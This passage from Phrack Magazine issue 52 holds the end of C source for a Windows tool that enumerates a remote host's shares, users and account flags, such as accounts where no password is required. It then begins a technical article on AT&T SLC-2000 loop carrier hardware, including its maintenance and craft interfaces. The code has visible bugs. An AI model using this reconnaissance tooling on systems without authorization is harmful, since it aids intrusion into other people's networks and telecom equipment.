|
||
handle_error(nas);
|
||
}
|
||
else{
|
||
memcpy(&usrinfos, *buf, sizeof(USER_INFO_1));
|
||
|
||
/* most of these will never happen, but nothings lost trying */
|
||
if( (UF_PASSWD_NOTREQD & usrinfos.usri1_flags) )
|
||
printf("\t-password not required, how about that.\n");
|
||
if( (UF_ACCOUNTDISABLE & usrinfos.usri1_flags) )
|
||
printf("\t-account disabled\n");
|
||
if( (UF_LOCKOUT & usrinfos.usri1_flags) )
|
||
printf("\t-account locked out\n");
|
||
if( (UF_DONT_EXPIRE_PASSWD & usrinfos.usri1_flags) )
|
||
printf("\t-password doesnt expire\n");
|
||
if( (UF_PASSWD_CANT_CHANGE & usrinfos.usri1_flags) )
|
||
printf("\t-user cant change password\n");
|
||
if( (UF_WORKSTATION_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
||
printf("\t-account for some other box in this domain\n");
|
||
if( (UF_SERVER_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
||
printf("\t-account for what is prolly the BDC\n");
|
||
if( (UF_INTERDOMAIN_TRUST_ACCOUNT & usrinfos.usri1_flags) )
|
||
printf("\t-interdomain permit to trust account\n");
|
||
}
|
||
|
||
free(buf);
|
||
}
|
||
|
||
/*
|
||
* procure_sharelist()
|
||
* strangely enough, this retrieves a sharelist from target
|
||
*/
|
||
int procure_sharelist()
|
||
{
|
||
DWORD r;
|
||
DWORD bufsize = 16384, cnt = 0xFFFFFFFF;
|
||
HANDLE enhan;
|
||
void *buf;
|
||
NETRESOURCE *res;
|
||
u_int i;
|
||
|
||
if( (buf = malloc(bufsize)) == NULL){
|
||
fprintf(stderr, "malloc probs, bailing\n");
|
||
return -1;
|
||
}
|
||
|
||
nr.dwScope = RESOURCE_CONNECTED;
|
||
nr.dwType = RESOURCETYPE_ANY;
|
||
nr.dwDisplayType = 0;
|
||
nr.dwUsage = RESOURCEUSAGE_CONTAINER;
|
||
nr.lpLocalName = NULL;
|
||
nr.lpRemoteName = (LPTSTR)target;
|
||
nr.lpComment = NULL;
|
||
nr.lpProvider = NULL;
|
||
|
||
r = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
|
||
RESOURCEUSAGE_CONNECTABLE, &nr
|
||
, &enhan);
|
||
if(r != 0){
|
||
free(buf);
|
||
printf("open_enum failed, sorry- ");
|
||
handle_error(r);
|
||
return -1;
|
||
}
|
||
|
||
r = WNetEnumResource(enhan, &cnt, buf, &bufsize);
|
||
if(r != 0){
|
||
free(buf);
|
||
printf("enum_res failed- ");
|
||
handle_error(r);
|
||
return -1;
|
||
}
|
||
|
||
res = (NETRESOURCE*)malloc(cnt * sizeof(NETRESOURCE));
|
||
if(res == NULL){
|
||
free(buf);
|
||
printf("malloc probs, i wont be listing shares.\n");
|
||
return -1;
|
||
}
|
||
memcpy(res, buf, (cnt * sizeof(NETRESOURCE)) );
|
||
|
||
for(i = 0; i < cnt; i++){
|
||
if(VERB)
|
||
printf("\nshare name:\t");
|
||
|
||
printf("%s\n", res[i].lpRemoteName);
|
||
if(VERB){
|
||
printf("share type:\t");
|
||
if(res[i].dwType = RESOURCETYPE_DISK)
|
||
printf("disk");
|
||
else
|
||
printf("printer");
|
||
printf("\ncomment:\t%s\n", res[i].lpComment);
|
||
}
|
||
}
|
||
|
||
free(buf);
|
||
free(res);
|
||
return 0;
|
||
}
|
||
|
||
/*
|
||
* close_session()
|
||
* clean up our mess
|
||
*/
|
||
int close_session()
|
||
{
|
||
DWORD r;
|
||
|
||
WSACleanup();
|
||
if(!OPT_NODEL)
|
||
r = WNetCancelConnection2(target, 0, TRUE);
|
||
|
||
if(r != 0){
|
||
fprintf(stderr, "couldnt delete %s, returned %d\n", target, r);
|
||
return -1;
|
||
}
|
||
else{
|
||
if(VERB)
|
||
printf("connection to %s deleted\n", target);
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
/*
|
||
* handle_error()
|
||
* util function to deal with some errors.
|
||
*/
|
||
void handle_error(DWORD err)
|
||
{
|
||
switch(err){
|
||
case ERROR_ACCESS_DENIED:
|
||
fprintf(stderr, "access is denied.\n");
|
||
break;
|
||
case ERROR_BAD_NET_NAME:
|
||
fprintf(stderr, "bad net name.\n");
|
||
break;
|
||
case ERROR_EXTENDED_ERROR:
|
||
fprintf(stderr, "an extended error occurred.\n");
|
||
break;
|
||
case ERROR_INVALID_PASSWORD:
|
||
fprintf(stderr, "invalid password.\n");
|
||
break;
|
||
case ERROR_LOGON_FAILURE:
|
||
fprintf(stderr, "bad username or password.\n");
|
||
break;
|
||
case NO_ERROR:
|
||
fprintf(stderr, "it worked\n");
|
||
break;
|
||
case ERROR_BAD_NETPATH:
|
||
fprintf(stderr, "network path not found.\n");
|
||
break;
|
||
default:
|
||
fprintf(stderr, "a random error occurred (%d).\n", err);
|
||
}
|
||
}
|
||
|
||
/*
|
||
* prepend_str()
|
||
* util funk to prepend chars to a string
|
||
*/
|
||
void prepend_str(char *orgstr, char *addthis)
|
||
{
|
||
orgstr = _strrev(orgstr);
|
||
addthis = _strrev(addthis);
|
||
strcat(orgstr, addthis);
|
||
orgstr = _strrev(orgstr);
|
||
}
|
||
/*
|
||
* parse_cl()
|
||
* try and make sense of the command line. no, i dont have a win32 getopt.
|
||
* yes, i know i should
|
||
*/
|
||
void parse_cl(int argc, char **argv)
|
||
{
|
||
int i, cc;
|
||
char opt;
|
||
DWORD r;
|
||
|
||
OPT_SHARES = OPT_USERS = VERB = 0;
|
||
|
||
for(i = 1; i < (argc); i++){
|
||
if( (*argv[i]) == '-'){
|
||
opt = *(argv[i]+1);
|
||
switch(opt){
|
||
case 'a':
|
||
OPT_SHARES = 1;
|
||
OPT_USERS = 1;
|
||
break;
|
||
case 's':
|
||
OPT_SHARES = 1;
|
||
break;
|
||
case 'u':
|
||
OPT_USERS = 1;
|
||
break;
|
||
case 'g':
|
||
OPT_GETUI = 1;
|
||
if( (strlen(argv[i+1])) > USER_LEN)
|
||
bail("username too long (must be < 21)");
|
||
ZeroMemory(user, USER_LEN);
|
||
cc = strlen(argv[++i]);
|
||
r = MultiByteToWideChar(CP_ACP, 0, argv[i], cc, user, (cc + 2));
|
||
break;
|
||
case 'd':
|
||
OPT_NODEL = 1;
|
||
break;
|
||
case 'v':
|
||
VERB++;
|
||
break;
|
||
default:
|
||
if( (opt != 'h') && (opt != '?') )
|
||
fprintf(stderr, "unknown option '%c'\n", opt);
|
||
usage(argv[0]);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
if( (OPT_SHARES) && (VERB) )
|
||
printf("listing shares\n");
|
||
if( (OPT_USERS) && (VERB) )
|
||
printf("listing users\n");
|
||
if( (OPT_GETUI) && (VERB) )
|
||
wprintf(L"getting infos about user %s\n", user);
|
||
if(VERB)
|
||
printf("verbosity = %d\n", VERB);
|
||
}
|
||
|
||
/*
|
||
* powerup()
|
||
* just init stuff and parse the command line
|
||
*/
|
||
int powerup(int argc, char **argv)
|
||
{
|
||
struct hostent *hent;
|
||
u_long addie;
|
||
WORD werd;
|
||
WSADATA data;
|
||
char buf[256];
|
||
int cc = 0, ucc = 0;
|
||
|
||
if(argc < 3)
|
||
usage(argv[0]);
|
||
|
||
parse_cl(argc, argv);
|
||
ZeroMemory(buf, 256);
|
||
strcpy(buf, argv[argc - 1]);
|
||
|
||
/* if not unc format get the ip */
|
||
if(buf[0] != '\\'){
|
||
if(VERB > 1)
|
||
printf("target not in unc\n");
|
||
|
||
werd = MAKEWORD(1, 1);
|
||
if( (WSAStartup(werd, &data)) !=0 )
|
||
bail("couldnt init winsock\n");
|
||
|
||
hent = (struct hostent *)malloc(sizeof(struct hostent));
|
||
if(hent == NULL)
|
||
bail("malloc probs\n");
|
||
|
||
if( (addie = inet_addr(buf)) == INADDR_NONE){
|
||
hent = gethostbyname(buf);
|
||
if(hent == NULL){
|
||
fprintf(stderr, "fatal: couldnt resolve %s.\n", buf);
|
||
return -1;
|
||
}
|
||
ZeroMemory(buf, 256);
|
||
strcpy(buf, inet_ntoa(*(struct in_addr *)*hent->h_addr_list));
|
||
}
|
||
prepend_str(buf, "\\\\");
|
||
}
|
||
else
|
||
fprintf(stderr, "target already in unc\n");
|
||
|
||
if( (strlen(buf) > (TARG_LEN - 1)) ){
|
||
free(buf);
|
||
bail("hostname too long (must be < 255 chars.)");
|
||
return -1;
|
||
}
|
||
|
||
ZeroMemory(target, TARG_LEN);
|
||
strcpy(target, buf);
|
||
|
||
ZeroMemory(utarg, TARG_LEN);
|
||
cc = strlen(target);
|
||
ucc = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, target, cc, utarg, cc);
|
||
if(ucc < 1){
|
||
bail("unicode conversion probs, sorry");
|
||
return -1;
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
void usage(char *prog)
|
||
{
|
||
fprintf(stderr, "usage: %s [asug<username>hv] <target>\n", prog);
|
||
fprintf(stderr, "\t-s:\t\tget share list\n");
|
||
fprintf(stderr, "\t-u:\t\tget user list\n");
|
||
fprintf(stderr, "\t-g: <username>\tget infos about just <username>\n");
|
||
fprintf(stderr, "\t-d:\t\tleave connection established on exit\n");
|
||
fprintf(stderr, "\t-a:\t\t-s + -u\n");
|
||
fprintf(stderr, "\t-h, -?:\t\tdisplay this help\n");
|
||
fprintf(stderr, "\t-v:\t\tbe verbose (use twice to be garrolous)\n");
|
||
exit(0);
|
||
}
|
||
|
||
/*
|
||
* bail()
|
||
* just whine and die
|
||
*/
|
||
void bail(const char *msg)
|
||
{
|
||
fprintf(stderr, "fatal: %s\n", msg);
|
||
close_session();
|
||
exit(1);
|
||
}
|
||
<-->
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 11 of 20
|
||
|
||
|
||
-------------------------[ The Subscriber Loop Carrier (slick)
|
||
|
||
|
||
--------[ Voyager[TNO]
|
||
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
I............................................... Overview
|
||
II.............................................. The Central Office Terminal
|
||
III............................................. The Remote Terminal
|
||
IV.............................................. SLC-2000 Shelves
|
||
V............................................... Where might you find an RT?
|
||
VI.............................................. SLC Interface Software
|
||
VII............................................. SLC Glossary
|
||
VIII............................................ SLC Vendors
|
||
|
||
|
||
|
||
+----------+
|
||
| Overview |
|
||
+----------+
|
||
|
||
|
||
A Subscriber Loop Carrier (SLC) (often pronounced "slick") is a
|
||
multiplexer which allows a large number of analog lines to be provided
|
||
over a very small number of digital lines. A good example is the AT&T
|
||
SLC 5, which allows 192 subscriber loops to be provided through two or
|
||
four digital lines. SLCs are also referred to as Digital Loop Carriers
|
||
(DLCs).
|
||
|
||
The first SLC was installed in 1971. As of 1995, between 5 and 10% of
|
||
all lines are served by SLCs, as are roughly 50% of all new lines built
|
||
each year. SLCs are available from quite a few vendors. This article
|
||
focuses on the extremely popular SLC-2000 from AT&T.
|
||
|
||
A SLC usually consists of two separate subsystems, the Central Office
|
||
Terminal (COT) and the Remote Terminal (RT). The COT is connected to
|
||
the RT via a DS1 circuit. The DS1 circuit may be carried over actual T1
|
||
lines, or it may be carried over another medium such as lightwave or
|
||
digital radio. The RT is then connected to the subscribers using a
|
||
Voice Frequency (VF) circuit. The VF circuit is what you and I would
|
||
recognize as our normal phone line.
|
||
|
||
This diagram illustrates a subscriber loop constructed using an SLC:
|
||
|
||
+---------+
|
||
| | /---------\
|
||
| Central | +----+ /-----------\
|
||
| Office | | |
|
||
| | --- DS1 circuit --- | RT | --- VF circuit -- | Residence |
|
||
| (COT) | | | | |
|
||
| | +----+ +-----------+
|
||
+---------+
|
||
|
||
|
||
|
||
+-----------------------------+
|
||
| The Central Office Terminal |
|
||
+-----------------------------+
|
||
|
||
The SLC-2000 COT is a modular design usually consisting of the following
|
||
components:
|
||
|
||
. Access Resource Manager (ARM) shelf
|
||
. Metallic Distribution Assembly (MDS) shelves
|
||
. Heat Baffles
|
||
. Alarm and Test Unit (ATU)
|
||
|
||
|
||
+--------------------------+
|
||
| | | | | | | | | | <------- Alarm and Test Unit
|
||
|--------------------------|
|
||
| | | <------- Heat baffle
|
||
|--------------------------|
|
||
||||||||||||||||||||||||||||
|
||
|:::::::::::::::::::;::;:::| <--\
|
||
|--------------------------| \___ Access Resource Manager (ARM) shelf
|
||
|:;;;;;;::;::::::::||||||||| /
|
||
|.##||||.|,,,,,,,,,........| <--/
|
||
|.##||||' '''''''''|||||||||
|
||
|--------------------------|
|
||
| | | <------- Heat baffle
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
| | | <------- Heat baffle
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
+--------------------------+
|
||
|
||
|
||
+---------------------+
|
||
| The Remote Terminal |
|
||
+---------------------+
|
||
|
||
The SLC-2000 RT is a modular design usually consisting of the following
|
||
components:
|
||
|
||
. Access Resource Manager (ARM) shelf
|
||
. Metallic Distribution Assembly (MDS) shelves
|
||
. High Density Fiber Optics Shelf (HDOS) shelves (FITL only)
|
||
. Cooling fans
|
||
|
||
|
||
|
||
An SLC-2000 RT configured for a Metallic Application
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
+--------------------------+
|
||
| | | <------- Fan unit
|
||
|--------------------------|
|
||
||||||||||||||||||||||||||||
|
||
|:::::::::::::::::::;::;:::| <--\
|
||
|--------------------------| \___ Access Resource Manager (ARM) shelf
|
||
|:;;;;;;::;::::::::||||||||| /
|
||
|.##||||.|,,,,,,,,,........| <--/
|
||
|.##||||' '''''''''|||||||||
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
|--------------------------|
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!| <------- Metallic Distribution Shelf (MDS)
|
||
|!!!!!!!!!!^^||^^!!!!!!!!!!|
|
||
+--------------------------+
|
||
|
||
|
||
An SLC-2000 RT configured for a Fiber In The Loop (FITL) Application
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
+--------------------------+
|
||
| | | <------- Fan unit
|
||
|--------------------------|
|
||
||^||^||^||^||^||^||^||^||^| <------- High Density Optics Shelf (HDOS) #2
|
||
||^||^||^||^||^||^||^||^||^|
|
||
|--------------------------|
|
||
||^||^||^||^||^||^||^||^||^| <------- High Density Optics Shelf (HDOS) #1
|
||
||^||^||^||^||^||^||^||^||^|
|
||
|--------------------------|
|
||
| | | <------- Fan unit
|
||
|--------------------------|
|
||
||||||||||||||||||||||||||||
|
||
|:::::::::::::::::::;::;:::| <--\
|
||
|--------------------------| \___ Access Resource Manager (ARM) shelf
|
||
|:;;;;;;::;::::::::||||||||| /
|
||
|.##||||.|,,,,,,,,,........| <--/
|
||
|.##||||' '''''''''|||||||||
|
||
|--------------------------|
|
||
| | | | ||||| | | | | | <-------- Metallic Distribution Shelf (MDS) #4
|
||
| | | | ||||| | | | | |
|
||
|--------------------------|
|
||
| | | | ||||| | | | | | <-------- Metallic Distribution Shelf (MDS) #3
|
||
| | | | ||||| | | | | |
|
||
|--------------------------|
|
||
| | | | ||||| | | | | | <-------- Metallic Distribution Shelf (MDS) #2
|
||
| | | | ||||| | | | | |
|
||
|--------------------------|
|
||
| | | | ||||| | | | | | <-------- Metallic Distribution Shelf (MDS) #1
|
||
| | | | ||||| | | | | |
|
||
+--------------------------+
|
||
|
||
|
||
|
||
+------------------+
|
||
| SLC-2000 Shelves |
|
||
+------------------+
|
||
|
||
The SLC-2000 is divided into a number of shelves, each of which hold
|
||
circuit cards that are responsible for specific functions within the
|
||
SLC. Some shelves are found only in COTs, others are found only in
|
||
RTs, while most shelves are used in both COTs and RTs.
|
||
|
||
|
||
Access Resource Manager (ARM) Shelf
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
The ARM shelf provides feeder interface, bandwidth management and
|
||
circuit maintenance features.
|
||
|
||
The ARM shelf consists of the following functional component groups:
|
||
|
||
. User Interface Panel (UIP)
|
||
. Integrated Test Head (ITH)
|
||
. Provisioning Display Controller (PDC)
|
||
. Bandwidth Management Complex
|
||
. DS1 distribution
|
||
. DS1/VT feeder interfaces
|
||
. SONET feeder
|
||
|
||
|
||
The following diagram illustrates the functional components of an ARM shelf:
|
||
|
||
|
||
/<-- ESD ground jack
|
||
|/<-- Power Converter Unit
|
||
|| /<-- Transmission Signaling Unit
|
||
|| | /<-- Analog Measurement Unit
|
||
|| | | /<-- Power Amplifier Unit
|
||
|| | | | /<-- Craft Access Unit
|
||
|| | | | | /<-- System Memory Unit
|
||
|| | | | | | /<-- Provisioning and Display Controller
|
||
|| | | | | | | /<-- Link to Alarm and Networks
|
||
|| | | | | | | | /<-- DS1 interfaces
|
||
|| | | | | | | | |
|
||
+----------------------------------------------------+
|
||
|^ |
|
||
|----------------------------------------------------|
|
||
||P|T| |A|P|C|S|P| |L|D|D|D|D|D|D|D|D|.|.|.|.|.|.|.|.|
|
||
||C|S| |M|A|A|M|D| |A|S|S|S|S|S|S|S|S|---------------|
|
||
||U|U| |U|U|U|U|C| |N|1|1|1|1|1|1|1|1| | | | | | | | |
|
||
||.|.|.|.|.| |.|.|.|.|.|.|.|.|.|.|.|.| | | | | | | | |
|
||
|------------------------------------+ | | | | | | | |
|
||
|| | | | | | | | | | | | | | | | | | | | | | | | | | | <-\
|
||
/-> || | | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
| ||.|:|:|:|:|:|:|.|.|:|.|.|.|.|.|.|.|.|:|:|:|:|:|:|:|:| |
|
||
| ||.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.| | | | | | | | | |-\
|
||
/-| |------------------------------------+ | | | | | | | | | |
|
||
| | || |o|o| | | | | ||| | | | | | | | | |---------------| | |
|
||
| | ||.|o|o| | | | | |:|:|:|:|:|:|:|:|:|:|.|.|.|.|.|.|.|.| | |
|
||
| \-> ||.| | | | | | | | |:|:|:|:|:|:|:|:|:| | | | | | | | | >-/ |
|
||
| ||.| | | | | | | | | | | | | | | | | | | | | | | | | | |
|
||
| +----------------------------------------------------- |
|
||
| | | | | | | | | | |
|
||
| \ / \ \ / / | | \-- Test Head Controller (THC) |
|
||
| | \ / | \-- System Controller (SYSCTL) |
|
||
| | | \-- Overhead Controller (OHCTL) |
|
||
| | \-- STS-1 Multiplexer (MXRVO) |
|
||
| \--- Optical Line Interface Unit (OLIU) |
|
||
\-- Synchronous Timing Generator (TGS) |
|
||
Bandwidth Management Complex --/
|
||
|
||
|
||
|
||
|
||
The User Interface Panel (UIP) represents the highest level of
|
||
interaction possible with the SLC-2000 without plugging some other
|
||
piece of equipment into it. Here is a close-up of the User Interface
|
||
Panel:
|
||
|
||
Abnormal -->\
|
||
AMD (Alphanumeric Message Display) -->\ NE Activity >--\ |
|
||
Attention -->\ | Major -->\ | |
|
||
Panel Fault -->\ | | Critical -->\ | | |
|
||
/<-- ESD ground jack | | | | | | |
|
||
| | | | | | | |
|
||
+------------------------------------------------------------------------+
|
||
| | ~=~ ~~~ ~~ ~~ ~~~~~~ | __ ____________________ __ __ __ __ |
|
||
| O |________/----------------| |/ |* User Int. Panel | |/ |/ |/ |/ |
|
||
| | | __ ~~~~~~~~~~~~~~~~~~~~ __ __ __ __ |
|
||
| | = = ooo #### ## :::::: | |/ ^v # # # o# # |/ |/ |/ |/ |
|
||
+------------------------------------------------------------------------+
|
||
||| ||| | | |||||| | | | | | | | | | | |
|
||
||| \|/ | | |||||| | | | | | | | | | | |
|
||
\|/ | | | |||||| | | | | | | | | | | |
|
||
| | | | |||||| | | | | | | | | | | |
|
||
Fuses-->/ | | | |||||| | | | | | | | | | | |
|
||
Power test | | | |||||| | | | | | | | | | | |
|
||
points -->/ | | |||||| | | | | | | | | | | |
|
||
CIT connector -->/ | |||||| | | | | | | | | | | |
|
||
DDS clock conn. -->/ |||||| | | | | | | | | | | |
|
||
DDS Maintenance Jack -->/||||| | | | | | | | | | | |
|
||
DS0 Maintenance Jack -->/|||| | | | | | | | | | | |
|
||
DS1 Maintenance Jack -->/||| | | | | | | | | | | |
|
||
T-R Maintenance Jack -->/|| | | | | | | | | | | |
|
||
T1-R1 Maintenance Jack -->/| | | | | | | | | | | |
|
||
E&M Maintenance Jack -->/ | | | | | | | | | | |
|
||
Power -->/ | | | | | | | | | |
|
||
Scroll Buttons ->/ | | | | | | | | |
|
||
Enter -->/ | | | | | | | |
|
||
Escape -->/ | | | | | | |
|
||
LED Test -->/ | | | | | |
|
||
ACO -->/ | | | | |
|
||
Update -->/ | | | |
|
||
Minor -->/ | | |
|
||
Power Minor ->/ | |
|
||
FE Activity -->/ |
|
||
Session -->/
|
||
|
||
|
||
|
||
|
||
There are many connections on the UIP. The Electrostatic Discharge
|
||
(ESD) ground jack is for a static control wrist strap. The Craft
|
||
Interface Terminal (CIT) connector is a DB-25 for plugging in a CIT or a
|
||
PC running terminal emulation software. The DDS clock connector
|
||
provides a clock source for test sets. The Power Test Points allow you
|
||
to monitor the -48v power to the unit.
|
||
|
||
There are many LED's on the UIP. The Attention LED is yellow when the
|
||
there is something new on the Alphanumeric Message Display (AMD). The
|
||
Panel Fault LED is red when the UIP is in need of repair. The Power LED
|
||
is green when -48v power is present. The Power Minor LED is yellow when
|
||
the system is operating on battery power. The Alarm Cut Off (ACO) LED is
|
||
green when the ACO button has been pressed during an alarm. The
|
||
Critical LED is red when a failure has caused a loss of service for 128
|
||
or more customers. The Major LED is red when a failure has caused a
|
||
loss of service for 24 or more customers. The Minor LED is yellow when
|
||
an error exists, but is not causing a loss of service to any customers.
|
||
The Near End (NE) Activity LED is yellow when the local terminal has
|
||
some alarm condition. The Far End (FE) Activity LED is yellow when the
|
||
remote terminal has some alarm condition. The Abnormal LED is yellow
|
||
when the SLC-2000 is not in a mode that provides service, such as a test
|
||
mode. The Session LED is yellow when a technician has a CIT connected to
|
||
the remote terminal.
|
||
|
||
The most interesting part of the UIP is the Alphanumeric Message Display
|
||
(AMD) and the buttons associated with its use. The AMD displays a
|
||
single 24 character line of text. The scroll buttons may be pushed to
|
||
move forward and backward through various menu choices. The <Enter> and
|
||
<Escape> keys work just as you might imagine.
|
||
|
||
Three types of messages appear on the User Interface Panel (UIP):
|
||
|
||
. Automatic Messages
|
||
. Fault Messages
|
||
. Alarm Messages
|
||
|
||
|
||
Automatic Messages are triggered by pressing certain buttons,
|
||
UIP or PDC unavailability, and SYSCTL installation.
|
||
|
||
Fault Messages are displayed when the RETRIEVE-FAULTS command is
|
||
selected on the UIP.
|
||
|
||
Alarm Messages are displayed when the RETRIEVE-ALARMS command is
|
||
selected on the UIP.
|
||
|
||
|
||
The Automatic Messages are:
|
||
|
||
. PANEL FAULT
|
||
. MN:NE:pdc unavail
|
||
. UPDATE: In-Progress
|
||
. UPDATE: done
|
||
. SONET SUBSYS UPDATE done
|
||
. SYSCTL INITIALIZATION
|
||
. SYSCTL EXTENDED INITZN
|
||
. SYSCTL EXTND INITZN done
|
||
. STATUS -LOCAL SONET
|
||
. STATUS -LOCAL SONET SITE
|
||
. STATUS -REMOTE SITE 1
|
||
. STATUS -REMOTE SITE 2
|
||
. STATUS -REMOTE SITE 3
|
||
. STATUS -REMOTE SITE 4
|
||
. STATUS -REMOTE SITE 5
|
||
. STATUS -REMOTE SITE 6
|
||
. STATUS -REMOTE SITE 7
|
||
. STATUS -REMOTE SITE 8
|
||
|
||
|
||
"PANEL FAULT" indicates that the User Interface Panel (UIP) has
|
||
failed and is unable to communicate with the Provisioning
|
||
Display Controller (PDC).
|
||
|
||
"MN:NE:pdc unavail" indicates that the Provisioning Display
|
||
Controller (PDC) is unable to communicate with the User
|
||
Interface Panel (UIP) because it has failed, or because software
|
||
installation on the PDC is in progress.
|
||
|
||
"UPDATE: In-Progress" indicates that the UPDATE button has been
|
||
pressed and that an update is in progress. (See "Update button"
|
||
below.)
|
||
|
||
"UPDATE: done" indicates that an Update has been completed in
|
||
response to the use of the UPDATE button.
|
||
|
||
"SONET SUBSYS UPDATE done" indicates that an Update has been
|
||
completed in the SONET subsystem in response to the use of the
|
||
UPD/INIT button on the SYSCTL.
|
||
|
||
"SYSCTL INITIALIZATION" appears for 10 seconds after a SYSCTL
|
||
with working software has been inserted. If the UPD/INIT button
|
||
on the SYSCTL is pressed while this message is displayed, the
|
||
SYSCTL will reset all SONET parameters to their factory
|
||
defaults.
|
||
|
||
"SYSCTL EXTENDED INITZN" appears after SYSCTL INITIALIZATION has
|
||
been completed.
|
||
|
||
"SYSCTL EXTND INITZN done" appears after SYSCTL EXTND INITZN has
|
||
been completed.
|
||
|
||
"STATUS -LOCAL SONET" indicates the User Interface Panel (UIP)
|
||
indicators reflect the alarm status of the local system only.
|
||
The letter "L" is displayed in the SYSCTL 7-segment display.
|
||
This occurs when the user toggles the Far-End Select (FE SEL)
|
||
button on the SYSCTL.
|
||
|
||
"STATUS -LOCAL SONET SITE" indicates the User Interface Panel
|
||
(UIP) indicators reflect the combined alarm status of all the
|
||
SONET network elements at the local site. The SITE ID and a '.'
|
||
is displayed in the SYSCTL 7-segment display. This occurs when
|
||
the user toggles the Far-End Select (FE SEL) button on the
|
||
SYSCTL.
|
||
|
||
"STATUS -REMOTE SITE x" indicates the User Interface Panel (UIP)
|
||
indicators reflect the alarm status of REMOTE SITE x. The
|
||
number "x" is displayed in the SYSCTL 7-segment display. This
|
||
occurs when the user toggles the Far-End Select (FE SEL) button
|
||
on the SYSCTL.
|
||
|
||
|
||
|
||
There are several other miscellaneous buttons on the UIP. The LED Test
|
||
button lights up all of the LED's to allow quick identification of burnt
|
||
out LED's. The Alarm Cut Off (ACO) button shuts off the current alarm
|
||
condition. The Update button operates much like the "Detect New
|
||
Hardware" icon in Windows95, except that on the SLC-2000 it never locks
|
||
up your system.
|
||
|
||
|
||
|
||
|
||
Metallic Distribution Shelf (MDS)
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
The MDS provides control and distribution for Data Service 0 (DS0) and
|
||
Fiber In The Loop (FITL) interfaces.
|
||
|
||
The following diagram roughly illustrates an MDS shelf assembly in a
|
||
metallic configuration:
|
||
|
||
+-----------------------------------------------------------------------+
|
||
|* AT&T ##== ##== ##== ##== ##== ##== Metallic Distribution Shelf |
|
||
|-----------------------------------------------------------------------|
|
||
|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|
|
||
| :| :| :| :| :| :| :| :| :| *| *| *| *| *| *| :| :| :| :| :| :| :| :| :|
|
||
| :| :| :| :| :| :| :| :| :| *| *| | | *| *| :| :| :| :| :| :| :| :| :|
|
||
|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | | | | |=:|=:|=:|=:|=:|=:|=:|=:|=:|
|
||
|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | | | | *|=:|=:|=:|=:|=:|=:|=:|=:|=:|
|
||
| || || || || || || || || || || || || || || || || || || || || || || || ||
|
||
|!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||
|
||
|-----------------------------------------------------------------------|
|
||
|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|~~|
|
||
| :| :| :| :| :| :| :| :| :| *| *| *| *| *| *| :| :| :| :| :| :| :| :| :|
|
||
| :| :| :| :| :| :| :| :| :| *| *| | | *| *| :| :| :| :| :| :| :| :| :|
|
||
|=:|=:|=:|=:|=:|=:|=:|=:|=:| | | | | | |=:|=:|=:|=:|=:|=:|=:|=:|=:|
|
||
|=:|=:|=:|=:|=:|=:|=:|=:|=:| *| | | | | *|=:|=:|=:|=:|=:|=:|=:|=:|=:|
|
||
| || || || || || || || || || || || || || || || || || || || || || || || ||
|
||
|!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||!||
|
||
+-----------------------------------------------------------------------+
|
||
|
||
|
||
MDS upper and lower shelves are numbered from bottom to top. On the
|
||
left and right side of each shelf half are 12 channel units (only 9 are
|
||
pictured in the ASCII diagram). In the middle of each shelf half are
|
||
the common units.
|
||
|
||
The following diagram roughly illustrates an MDS shelf assembly in a
|
||
Fiber In The Loop (FITL) configuration:
|
||
|
||
+-----------------------------------------------------------------------+
